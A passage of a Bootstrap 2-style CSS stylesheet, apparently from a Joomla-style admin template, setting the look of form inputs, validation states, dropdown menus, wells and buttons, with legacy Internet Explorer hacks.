-o-transition: border linear .2s, box-shadow linear .2s;
transition: border linear .2s, box-shadow linear .2s;
}
textarea:focus,
input[type="text"]:focus,
input[type="password"]:focus,
input[type="datetime"]:focus,
input[type="datetime-local"]:focus,
input[type="date"]:focus,
input[type="month"]:focus,
input[type="time"]:focus,
input[type="week"]:focus,
input[type="number"]:focus,
input[type="email"]:focus,
input[type="url"]:focus,
input[type="search"]:focus,
input[type="tel"]:focus,
input[type="color"]:focus,
.uneditable-input:focus {
border-color: rgba(82, 168, 236, 0.8);
outline: 0;
outline: thin dotted \9;
/* IE6-9 */
-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px
rgba(82,168,236,.6);
-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px
rgba(82,168,236,.6);
box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px
rgba(82,168,236,.6);
}
input[type="radio"],
input[type="checkbox"] {
margin: 4px 0 0;
*margin-top: 0;
/* IE7 */
margin-top: 1px \9;
/* IE8-9 */
line-height: normal;
}
input[type="file"],
input[type="image"],
input[type="submit"],
input[type="reset"],
input[type="button"],
input[type="radio"],
input[type="checkbox"] {
width: auto;
}
select,
input[type="file"] {
height: 30px;
/* In IE7, the height of the select element cannot be changed by height,
only font-size */
*margin-top: 4px;
/* For IE7, add top margin to align select with labels */
line-height: 30px;
}
select {
width: 220px;
border: 1px solid #ccc;
background-color: #fff;
}
select[multiple],
select[size] {
height: auto;
}
select:focus,
input[type="file"]:focus,
input[type="radio"]:focus,
input[type="checkbox"]:focus {
outline: thin dotted #333;
outline: 5px auto -webkit-focus-ring-color;
outline-offset: -2px;
}
.uneditable-input,
.uneditable-textarea {
color: #999;
background-color: #fcfcfc;
border-color: #ccc;
-webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);
-moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);
box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);
cursor: not-allowed;
}
.uneditable-input {
overflow: hidden;
white-space: nowrap;
}
.uneditable-textarea {
width: auto;
height: auto;
}
input:-moz-placeholder,
textarea:-moz-placeholder {
color: #999;
}
input:-ms-input-placeholder,
textarea:-ms-input-placeholder {
color: #999;
}
input::-webkit-input-placeholder,
textarea::-webkit-input-placeholder {
color: #999;
}
.radio,
.checkbox {
min-height: 20px;
padding-left: 20px;
}
.radio input[type="radio"],
.checkbox input[type="checkbox"] {
float: left;
margin-left: -20px;
}
.controls > .radio:first-child,
.controls > .checkbox:first-child {
padding-top: 5px;
}
.radio.inline,
.checkbox.inline {
display: inline-block;
padding-top: 5px;
margin-bottom: 0;
vertical-align: middle;
}
.radio.inline + .radio.inline,
.checkbox.inline + .checkbox.inline {
margin-left: 10px;
}
.input-mini {
width: 60px;
}
.input-small {
width: 90px;
}
.input-medium {
width: 150px;
}
.input-large {
width: 210px;
}
.input-xlarge {
width: 270px;
}
.input-xxlarge {
width: 530px;
}
input[class*="span"],
select[class*="span"],
textarea[class*="span"],
.uneditable-input[class*="span"],
.row-fluid input[class*="span"],
.row-fluid select[class*="span"],
.row-fluid textarea[class*="span"],
.row-fluid .uneditable-input[class*="span"] {
float: none;
margin-left: 0;
}
.input-append input[class*="span"],
.input-append .uneditable-input[class*="span"],
.input-prepend input[class*="span"],
.input-prepend .uneditable-input[class*="span"],
.row-fluid input[class*="span"],
.row-fluid select[class*="span"],
.row-fluid textarea[class*="span"],
.row-fluid .uneditable-input[class*="span"],
.row-fluid .input-prepend [class*="span"],
.row-fluid .input-append [class*="span"] {
display: inline-block;
}
input,
textarea,
.uneditable-input {
margin-left: 0;
}
.controls-row [class*="span"] + [class*="span"] {
margin-left: 20px;
}
input.span12,
textarea.span12,
.uneditable-input.span12 {
width: 926px;
}
input.span11,
textarea.span11,
.uneditable-input.span11 {
width: 846px;
}
input.span10,
textarea.span10,
.uneditable-input.span10 {
width: 766px;
}
input.span9,
textarea.span9,
.uneditable-input.span9 {
width: 686px;
}
input.span8,
textarea.span8,
.uneditable-input.span8 {
width: 606px;
}
input.span7,
textarea.span7,
.uneditable-input.span7 {
width: 526px;
}
input.span6,
textarea.span6,
.uneditable-input.span6 {
width: 446px;
}
input.span5,
textarea.span5,
.uneditable-input.span5 {
width: 366px;
}
input.span4,
textarea.span4,
.uneditable-input.span4 {
width: 286px;
}
input.span3,
textarea.span3,
.uneditable-input.span3 {
width: 206px;
}
input.span2,
textarea.span2,
.uneditable-input.span2 {
width: 126px;
}
input.span1,
textarea.span1,
.uneditable-input.span1 {
width: 46px;
}
.controls-row {
*zoom: 1;
}
.controls-row:before,
.controls-row:after {
display: table;
content: "";
line-height: 0;
}
.controls-row:after {
clear: both;
}
.controls-row [class*="span"],
.row-fluid .controls-row [class*="span"] {
float: left;
}
.controls-row .checkbox[class*="span"],
.controls-row .radio[class*="span"] {
padding-top: 5px;
}
input[disabled],
select[disabled],
textarea[disabled],
input[readonly],
select[readonly],
textarea[readonly] {
cursor: not-allowed;
background-color: #eee;
}
input[type="radio"][disabled],
input[type="checkbox"][disabled],
input[type="radio"][readonly],
input[type="checkbox"][readonly] {
background-color: transparent;
}
.control-group.warning .control-label,
.control-group.warning .help-block,
.control-group.warning .help-inline {
color: #c09853;
}
.control-group.warning .checkbox,
.control-group.warning .radio,
.control-group.warning input,
.control-group.warning select,
.control-group.warning textarea {
color: #c09853;
}
.control-group.warning input,
.control-group.warning select,
.control-group.warning textarea {
border-color: #c09853;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}
.control-group.warning input:focus,
.control-group.warning select:focus,
.control-group.warning textarea:focus {
border-color: #a47e3c;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px
#dbc59e;
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;
}
.control-group.warning .input-prepend .add-on,
.control-group.warning .input-append .add-on {
color: #c09853;
background-color: #fcf8e3;
border-color: #c09853;
}
.control-group.error .control-label,
.control-group.error .help-block,
.control-group.error .help-inline {
color: #b94a48;
}
.control-group.error .checkbox,
.control-group.error .radio,
.control-group.error input,
.control-group.error select,
.control-group.error textarea {
color: #b94a48;
}
.control-group.error input,
.control-group.error select,
.control-group.error textarea {
border-color: #b94a48;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}
.control-group.error input:focus,
.control-group.error select:focus,
.control-group.error textarea:focus {
border-color: #953b39;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px
#d59392;
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;
}
.control-group.error .input-prepend .add-on,
.control-group.error .input-append .add-on {
color: #b94a48;
background-color: #f2dede;
border-color: #b94a48;
}
.control-group.success .control-label,
.control-group.success .help-block,
.control-group.success .help-inline {
color: #468847;
}
.control-group.success .checkbox,
.control-group.success .radio,
.control-group.success input,
.control-group.success select,
.control-group.success textarea {
color: #468847;
}
.control-group.success input,
.control-group.success select,
.control-group.success textarea {
border-color: #468847;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}
.control-group.success input:focus,
.control-group.success select:focus,
.control-group.success textarea:focus {
border-color: #356635;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px
#7aba7b;
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;
}
.control-group.success .input-prepend .add-on,
.control-group.success .input-append .add-on {
color: #468847;
background-color: #dff0d8;
border-color: #468847;
}
.control-group.info .control-label,
.control-group.info .help-block,
.control-group.info .help-inline {
color: #3a87ad;
}
.control-group.info .checkbox,
.control-group.info .radio,
.control-group.info input,
.control-group.info select,
.control-group.info textarea {
color: #3a87ad;
}
.control-group.info input,
.control-group.info select,
.control-group.info textarea {
border-color: #3a87ad;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}
.control-group.info input:focus,
.control-group.info select:focus,
.control-group.info textarea:focus {
border-color: #2d6987;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px
#7ab5d3;
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;
}
.control-group.info .input-prepend .add-on,
.control-group.info .input-append .add-on {
color: #3a87ad;
background-color: #d9edf7;
border-color: #3a87ad;
}
input:focus:invalid,
textarea:focus:invalid,
select:focus:invalid {
color: #b94a48;
border-color: #ee5f5b;
}
input:focus:invalid:focus,
textarea:focus:invalid:focus,
select:focus:invalid:focus {
border-color: #e9322d;
-webkit-box-shadow: 0 0 6px #f8b9b7;
-moz-box-shadow: 0 0 6px #f8b9b7;
box-shadow: 0 0 6px #f8b9b7;
}
.form-actions {
padding: 19px 20px 20px;
margin-top: 20px;
margin-bottom: 20px;
background-color: #f5f5f5;
border-top: 1px solid #e5e5e5;
*zoom: 1;
}
.form-actions:before,
.form-actions:after {
display: table;
content: "";
line-height: 0;
}
.form-actions:after {
clear: both;
}
.help-block,
.help-inline {
color: #595959;
}
.help-block {
display: block;
margin-bottom: 10px;
}
.help-inline {
display: inline-block;
*display: inline;
/* IE7 inline-block hack */
*zoom: 1;
vertical-align: middle;
padding-left: 5px;
}
.input-append,
.input-prepend {
display: inline-block;
margin-bottom: 10px;
vertical-align: middle;
font-size: 0;
white-space: nowrap;
}
.input-append input,
.input-prepend input,
.input-append select,
.input-prepend select,
.input-append .uneditable-input,
.input-prepend .uneditable-input,
.input-append .dropdown-menu,
.input-prepend .dropdown-menu,
.input-append .popover,
.input-prepend .popover {
font-size: 14px;
}
.input-append input,
.input-prepend input,
.input-append select,
.input-prepend select,
.input-append .uneditable-input,
.input-prepend .uneditable-input {
position: relative;
margin-bottom: 0;
*margin-left: 0;
vertical-align: top;
-webkit-border-radius: 0 4px 4px 0;
-moz-border-radius: 0 4px 4px 0;
border-radius: 0 4px 4px 0;
}
.input-append input:focus,
.input-prepend input:focus,
.input-append select:focus,
.input-prepend select:focus,
.input-append .uneditable-input:focus,
.input-prepend .uneditable-input:focus {
z-index: 2;
}
.input-append .add-on,
.input-prepend .add-on {
display: inline-block;
width: auto;
height: 20px;
min-width: 16px;
padding: 4px 5px;
font-size: 14px;
font-weight: normal;
line-height: 20px;
text-align: center;
text-shadow: 0 1px 0 #fff;
background-color: #eee;
border: 1px solid #ccc;
}
.input-append .add-on,
.input-prepend .add-on,
.input-append .btn,
.input-prepend .btn,
.input-append .btn-group > .dropdown-toggle,
.input-prepend .btn-group > .dropdown-toggle {
vertical-align: top;
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
}
.input-prepend .add-on,
.input-prepend .btn {
margin-right: -1px;
}
.input-prepend .add-on:first-child,
.input-prepend .btn:first-child {
-webkit-border-radius: 4px 0 0 4px;
-moz-border-radius: 4px 0 0 4px;
border-radius: 4px 0 0 4px;
}
.input-append input,
.input-append select,
.input-append .uneditable-input {
-webkit-border-radius: 4px 0 0 4px;
-moz-border-radius: 4px 0 0 4px;
border-radius: 4px 0 0 4px;
}
.input-append input + .btn-group .btn:last-child,
.input-append select + .btn-group .btn:last-child,
.input-append .uneditable-input + .btn-group .btn:last-child {
-webkit-border-radius: 0 4px 4px 0;
-moz-border-radius: 0 4px 4px 0;
border-radius: 0 4px 4px 0;
}
.input-append .add-on,
.input-append .btn,
.input-append .btn-group {
margin-left: -1px;
}
.input-append .add-on:last-child,
.input-append .btn:last-child,
.input-append .btn-group:last-child > .dropdown-toggle {
-webkit-border-radius: 0 4px 4px 0;
-moz-border-radius: 0 4px 4px 0;
border-radius: 0 4px 4px 0;
}
.input-prepend.input-append input,
.input-prepend.input-append select,
.input-prepend.input-append .uneditable-input {
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
}
.input-prepend.input-append input + .btn-group .btn,
.input-prepend.input-append select + .btn-group .btn,
.input-prepend.input-append .uneditable-input + .btn-group .btn {
-webkit-border-radius: 0 4px 4px 0;
-moz-border-radius: 0 4px 4px 0;
border-radius: 0 4px 4px 0;
}
.input-prepend.input-append .add-on:first-child,
.input-prepend.input-append .btn:first-child {
margin-right: -1px;
-webkit-border-radius: 4px 0 0 4px;
-moz-border-radius: 4px 0 0 4px;
border-radius: 4px 0 0 4px;
}
.input-prepend.input-append .add-on:last-child,
.input-prepend.input-append .btn:last-child {
margin-left: -1px;
-webkit-border-radius: 0 4px 4px 0;
-moz-border-radius: 0 4px 4px 0;
border-radius: 0 4px 4px 0;
}
.input-prepend.input-append .btn-group:first-child {
margin-left: 0;
}
input.search-query {
padding-right: 14px;
padding-right: 4px \9;
padding-left: 14px;
padding-left: 4px \9;
/* IE7-8 doesn't have border-radius, so don't indent the
padding */
margin-bottom: 0;
-webkit-border-radius: 15px;
-moz-border-radius: 15px;
border-radius: 15px;
}
/* Allow for input prepend/append in search forms */
.form-search .input-append .search-query,
.form-search .input-prepend .search-query {
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
}
.form-search .input-append .search-query {
-webkit-border-radius: 14px 0 0 14px;
-moz-border-radius: 14px 0 0 14px;
border-radius: 14px 0 0 14px;
}
.form-search .input-append .btn {
-webkit-border-radius: 0 14px 14px 0;
-moz-border-radius: 0 14px 14px 0;
border-radius: 0 14px 14px 0;
}
.form-search .input-prepend .search-query {
-webkit-border-radius: 0 14px 14px 0;
-moz-border-radius: 0 14px 14px 0;
border-radius: 0 14px 14px 0;
}
.form-search .input-prepend .btn {
-webkit-border-radius: 14px 0 0 14px;
-moz-border-radius: 14px 0 0 14px;
border-radius: 14px 0 0 14px;
}
.js-stools-field-filter .input-prepend,
.js-stools-field-filter .input-append {
margin-bottom: 0;
}
.form-search input,
.form-inline input,
.form-horizontal input,
.form-search textarea,
.form-inline textarea,
.form-horizontal textarea,
.form-search select,
.form-inline select,
.form-horizontal select,
.form-search .help-inline,
.form-inline .help-inline,
.form-horizontal .help-inline,
.form-search .uneditable-input,
.form-inline .uneditable-input,
.form-horizontal .uneditable-input,
.form-search .input-prepend,
.form-inline .input-prepend,
.form-horizontal .input-prepend,
.form-search .input-append,
.form-inline .input-append,
.form-horizontal .input-append {
display: inline-block;
*display: inline;
/* IE7 inline-block hack */
*zoom: 1;
margin-bottom: 0;
vertical-align: middle;
}
.form-search .hide,
.form-inline .hide,
.form-horizontal .hide {
display: none;
}
.form-search label,
.form-inline label,
.form-search .btn-group,
.form-inline .btn-group {
display: inline-block;
}
.form-search .input-append,
.form-inline .input-append,
.form-search .input-prepend,
.form-inline .input-prepend {
margin-bottom: 0;
}
.form-search .radio,
.form-search .checkbox,
.form-inline .radio,
.form-inline .checkbox {
padding-left: 0;
margin-bottom: 0;
vertical-align: middle;
}
.form-search .radio input[type="radio"],
.form-search .checkbox input[type="checkbox"],
.form-inline .radio input[type="radio"],
.form-inline .checkbox input[type="checkbox"] {
float: left;
margin-right: 3px;
margin-left: 0;
}
.control-group {
margin-bottom: 10px;
}
legend + .control-group {
margin-top: 20px;
-webkit-margin-top-collapse: separate;
}
.form-horizontal .control-group {
margin-bottom: 20px;
*zoom: 1;
}
.form-horizontal .control-group:before,
.form-horizontal .control-group:after {
display: table;
content: "";
line-height: 0;
}
.form-horizontal .control-group:after {
clear: both;
}
.form-horizontal .control-label {
float: left;
width: 160px;
padding-top: 5px;
text-align: right;
}
.form-horizontal .controls {
*display: inline-block;
*padding-left: 20px;
margin-left: 180px;
*margin-left: 0;
}
.form-horizontal .controls:first-child {
*padding-left: 180px;
}
.form-horizontal .help-block {
margin-bottom: 0;
}
.form-horizontal input + .help-block,
.form-horizontal select + .help-block,
.form-horizontal textarea + .help-block,
.form-horizontal .uneditable-input + .help-block,
.form-horizontal .input-prepend + .help-block,
.form-horizontal .input-append + .help-block {
margin-top: 10px;
}
.form-horizontal .form-actions {
padding-left: 180px;
}
/*Fix for tooltips wrong positioning*/
.control-label .hasPopover,
.control-label .hasTooltip {
display: inline-block;
}
/* Field subform repeatable */
.subform-repeatable-wrapper .btn-group > .btn.button {
min-width: 0;
}
.subform-repeatable-wrapper .ui-sortable-helper {
background: #fff;
}
.subform-repeatable-wrapper tr.ui-sortable-helper {
display: table;
}
/*Fix for floating 3 columns without overlapping */
@media (min-width: 980px) and (max-width: 1215px) {
.float-cols .control-label {
float: none;
}
.float-cols .controls {
margin-left: 0;
}
}
.dropup,
.dropdown {
position: relative;
}
.dropdown-toggle {
*margin-bottom: -3px;
}
.dropdown-toggle:active,
.open .dropdown-toggle {
outline: 0;
}
.caret {
display: inline-block;
width: 0;
height: 0;
vertical-align: top;
border-top: 4px solid #000;
border-right: 4px solid transparent;
border-left: 4px solid transparent;
content: "";
}
.dropdown .caret {
margin-top: 8px;
margin-left: 2px;
}
.dropdown-menu {
position: absolute;
top: 100%;
left: 0;
z-index: 1000;
display: none;
float: left;
min-width: 160px;
padding: 5px 0;
margin: 2px 0 0;
list-style: none;
background-color: #fff;
border: 1px solid #ccc;
border: 1px solid rgba(0, 0, 0, 0.2);
*border-right-width: 2px;
*border-bottom-width: 2px;
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
border-radius: 6px;
-webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
-moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
-webkit-background-clip: padding-box;
-moz-background-clip: padding;
background-clip: padding-box;
}
.dropdown-menu.pull-right {
right: 0;
left: auto;
}
.dropdown-menu .divider {
*width: 100%;
height: 1px;
margin: 9px 1px;
*margin: -5px 0 5px;
overflow: hidden;
background-color: #e5e5e5;
border-bottom: 1px solid #fff;
}
.dropdown-menu .menuitem-group {
margin: 4px 1px;
overflow: hidden;
border-top: 1px solid #eee;
border-bottom: 1px solid #eee;
background-color: #eee;
color: #555;
text-transform: capitalize;
font-size: 95%;
padding: 3px 20px;
}
.dropdown-menu > li > a {
display: block;
padding: 3px 20px;
clear: both;
font-weight: normal;
line-height: 20px;
color: #333;
white-space: nowrap;
}
.dropdown-menu > li > a:hover,
.dropdown-menu > li > a:focus,
.dropdown-submenu:hover > a,
.dropdown-submenu:focus > a {
text-decoration: none;
color: #fff;
background-color: #0081c2;
background-image: -moz-linear-gradient(top, #08c, #0077b3);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#08c),
to(#0077b3));
background-image: -webkit-linear-gradient(top, #08c, #0077b3);
background-image: -o-linear-gradient(top, #08c, #0077b3);
background-image: linear-gradient(to bottom, #08c, #0077b3);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc',
endColorstr='#ff0077b3', GradientType=0);
}
.dropdown-menu > .active > a,
.dropdown-menu > .active > a:hover,
.dropdown-menu > .active > a:focus {
color: #fff;
text-decoration: none;
outline: 0;
background-color: #0081c2;
background-image: -moz-linear-gradient(top, #08c, #0077b3);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#08c),
to(#0077b3));
background-image: -webkit-linear-gradient(top, #08c, #0077b3);
background-image: -o-linear-gradient(top, #08c, #0077b3);
background-image: linear-gradient(to bottom, #08c, #0077b3);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc',
endColorstr='#ff0077b3', GradientType=0);
}
.dropdown-menu > .disabled > a,
.dropdown-menu > .disabled > a:hover,
.dropdown-menu > .disabled > a:focus {
color: #999;
}
.dropdown-menu > .disabled > a:hover,
.dropdown-menu > .disabled > a:focus {
text-decoration: none;
background-color: transparent;
background-image: none;
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
cursor: default;
}
.open {
*z-index: 1000;
}
.open > .dropdown-menu {
display: block;
}
.dropdown-backdrop {
position: fixed;
left: 0;
right: 0;
bottom: 0;
top: 0;
z-index: 990;
}
.pull-right > .dropdown-menu {
right: 0;
left: auto;
}
.dropup .caret,
.navbar-fixed-bottom .dropdown .caret {
border-top: 0;
border-bottom: 4px solid #000;
content: "";
}
.dropup .dropdown-menu,
.navbar-fixed-bottom .dropdown .dropdown-menu {
top: auto;
bottom: 100%;
margin-bottom: 1px;
}
.dropdown-submenu {
position: relative;
}
.dropdown-submenu > .dropdown-menu {
top: 0;
left: 100%;
margin-top: -6px;
margin-left: -1px;
-webkit-border-radius: 6px 6px 6px 6px;
-moz-border-radius: 6px 6px 6px 6px;
border-radius: 6px 6px 6px 6px;
}
.dropdown-submenu:hover > .dropdown-menu {
display: block;
}
.dropup .dropdown-submenu > .dropdown-menu {
top: auto;
bottom: 0;
margin-top: 0;
margin-bottom: -2px;
-webkit-border-radius: 5px 5px 5px 0;
-moz-border-radius: 5px 5px 5px 0;
border-radius: 5px 5px 5px 0;
}
.dropdown-submenu > a:after {
display: block;
content: " ";
float: right;
width: 0;
height: 0;
border-color: transparent;
border-style: solid;
border-width: 5px 0 5px 5px;
border-left-color: #cccccc;
margin-top: 5px;
margin-right: -10px;
}
.dropdown-submenu:hover > a:after {
border-left-color: #fff;
}
.dropdown-submenu.pull-left {
float: none;
}
.dropdown-submenu.pull-left > .dropdown-menu {
left: -100%;
margin-left: 10px;
-webkit-border-radius: 6px 0 6px 6px;
-moz-border-radius: 6px 0 6px 6px;
border-radius: 6px 0 6px 6px;
}
.dropdown .dropdown-menu .nav-header {
padding-left: 20px;
padding-right: 20px;
}
.typeahead {
z-index: 1051;
margin-top: 2px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
.well {
min-height: 20px;
padding: 19px;
margin-bottom: 20px;
background-color: #f5f5f5;
border: 1px solid #e3e3e3;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
}
.well blockquote {
border-color: #ddd;
border-color: rgba(0, 0, 0, 0.15);
}
.well-large {
padding: 24px;
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
border-radius: 6px;
}
.well-small {
padding: 9px;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
.fade {
opacity: 0;
-webkit-transition: opacity 0.15s linear;
-moz-transition: opacity 0.15s linear;
-o-transition: opacity 0.15s linear;
transition: opacity 0.15s linear;
}
.fade.in {
opacity: 1;
}
.collapse {
position: relative;
height: 0;
overflow: hidden;
-webkit-transition: height 0.35s ease;
-moz-transition: height 0.35s ease;
-o-transition: height 0.35s ease;
transition: height 0.35s ease;
}
.collapse.in {
height: auto;
}
.close {
float: right;
font-size: 20px;
font-weight: bold;
line-height: 20px;
color: #000;
text-shadow: 0 1px 0 #ffffff;
opacity: 0.2;
filter: alpha(opacity=20);
}
.close:hover,
.close:focus {
color: #000;
text-decoration: none;
cursor: pointer;
opacity: 0.4;
filter: alpha(opacity=40);
}
button.close {
padding: 3;
cursor: pointer;
background: transparent;
border: 0;
-webkit-appearance: none;
}
.alert-options {
float: right;
line-height: 20px;
color: #000;
text-shadow: 0 1px 0 #ffffff;
opacity: 0.2;
filter: alpha(opacity=20);
}
.alert-options:hover,
.alert-options:focus {
color: #000;
text-decoration: none;
cursor: pointer;
opacity: 0.4;
filter: alpha(opacity=40);
}
.btn {
display: inline-block;
*display: inline;
/* IE7 inline-block hack */
*zoom: 1;
padding: 4px 12px;
margin-bottom: 0;
font-size: 14px;
line-height: 20px;
text-align: center;
vertical-align: middle;
cursor: pointer;
color: #333;
text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);
background-color: #f5f5f5;
background-image: -moz-linear-gradient(top, #fff, #e6e6e6);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fff),
to(#e6e6e6));
background-image: -webkit-linear-gradient(top, #fff, #e6e6e6);
background-image: -o-linear-gradient(top, #fff, #e6e6e6);
background-image: linear-gradient(to bottom, #fff, #e6e6e6);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff',
endColorstr='#ffe6e6e6', GradientType=0);
border-color: #e6e6e6 #e6e6e6 #bfbfbf;
*background-color: #e6e6e6;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
border: 1px solid #ccc;
*border: 0;
border-bottom-color: #b3b3b3;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
*margin-left: 0.3em;
-webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px
rgba(0,0,0,.05);
-moz-box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px
rgba(0,0,0,.05);
box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px
rgba(0,0,0,.05);
}
.btn:hover,
.btn:focus,
.btn:active,
.btn.active,
.btn.disabled,
.btn[disabled] {
color: #333;
background-color: #e6e6e6;
*background-color: #d9d9d9;
}
.btn:active,
.btn.active {
background-color: #cccccc \9;
}
.btn:first-child {
*margin-left: 0;
}
.btn:hover,
.btn:focus {
color: #333;
text-decoration: none;
background-position: 0 -15px;
-webkit-transition: background-position 0.1s linear;
-moz-transition: background-position 0.1s linear;
-o-transition: background-position 0.1s linear;
transition: background-position 0.1s linear;
}
.btn:focus {
outline: thin dotted #333;
outline: 5px auto -webkit-focus-ring-color;
outline-offset: -2px;
}
.btn.active,
.btn:active {
background-image: none;
outline: 0;
-webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px
rgba(0,0,0,.05);
-moz-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px
rgba(0,0,0,.05);
box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);
}
.btn.disabled,
.btn[disabled] {
cursor: default;
background-image: none;
opacity: 0.65;
filter: alpha(opacity=65);
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
}
.btn-large {
padding: 11px 19px;
font-size: 17.5px;
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
border-radius: 6px;
}
.btn-large [class^="icon-"],
.btn-large [class*=" icon-"] {
margin-top: 4px;
}
.btn-small {
padding: 2px 10px;
font-size: 11.9px;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
.btn-small [class^="icon-"],
.btn-small [class*=" icon-"] {
margin-top: 0;
}
.btn-mini [class^="icon-"],
.btn-mini [class*=" icon-"] {
margin-top: -1px;
}
.btn-mini {
padding: 0 6px;
font-size: 10.5px;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
.btn-block {
display: block;
width: 100%;
padding-left: 0;
padding-right: 0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.btn-block + .btn-block {
margin-top: 5px;
}
input[type="submit"].btn-block,
input[type="reset"].btn-block,
input[type="button"].btn-block {
width: 100%;
}
.btn-primary.active,
.btn-warning.active,
.btn-danger.active,
.btn-success.active,
.btn-info.active,
.btn-inverse.active {
color: rgba(255, 255, 255, 0.75);
}
.btn-primary {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #006dcc;
background-image: -moz-linear-gradient(top, #08c, #0044cc);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#08c),
to(#0044cc));
background-image: -webkit-linear-gradient(top, #08c, #0044cc);
background-image: -o-linear-gradient(top, #08c, #0044cc);
background-image: linear-gradient(to bottom, #08c, #0044cc);
background-repeat: repeat-x;
filter:
progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc',
endColorstr='#ff0044cc', GradientType=0);
border-color: #0044cc #0044cc #002a80;
*background-color: #0044cc;
/* Darken IE7 buttons by default so they stand out more given they
won't have borders */
filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
}
.btn-primary:hover,
.btn-primary:focus,
.btn-primary:active,
.btn-primary.active,
.btn-primary.disabled,
.btn-primary[disabled] {
color: #fff;
background-color: #0044cc;
*background-color: #003bb3;
}
.btn-primary:active,
.btn-primary.active {
background-color: #003399 \9;
}
.btn-warning {
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #faa732;
background-image: -moz-linear-gradient(top, #fbb450, #f89406);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450),
to(#f89406));
background-image: -webkit-linear-gradient(top, #fbb450, #f89406);
background-image: -o-linear-gradient(top, #fbb450, #f89406);
background-image: linear-gradient(to bottom, #fbb450, #f89406);
background-repeat: repeat-x;
filter:
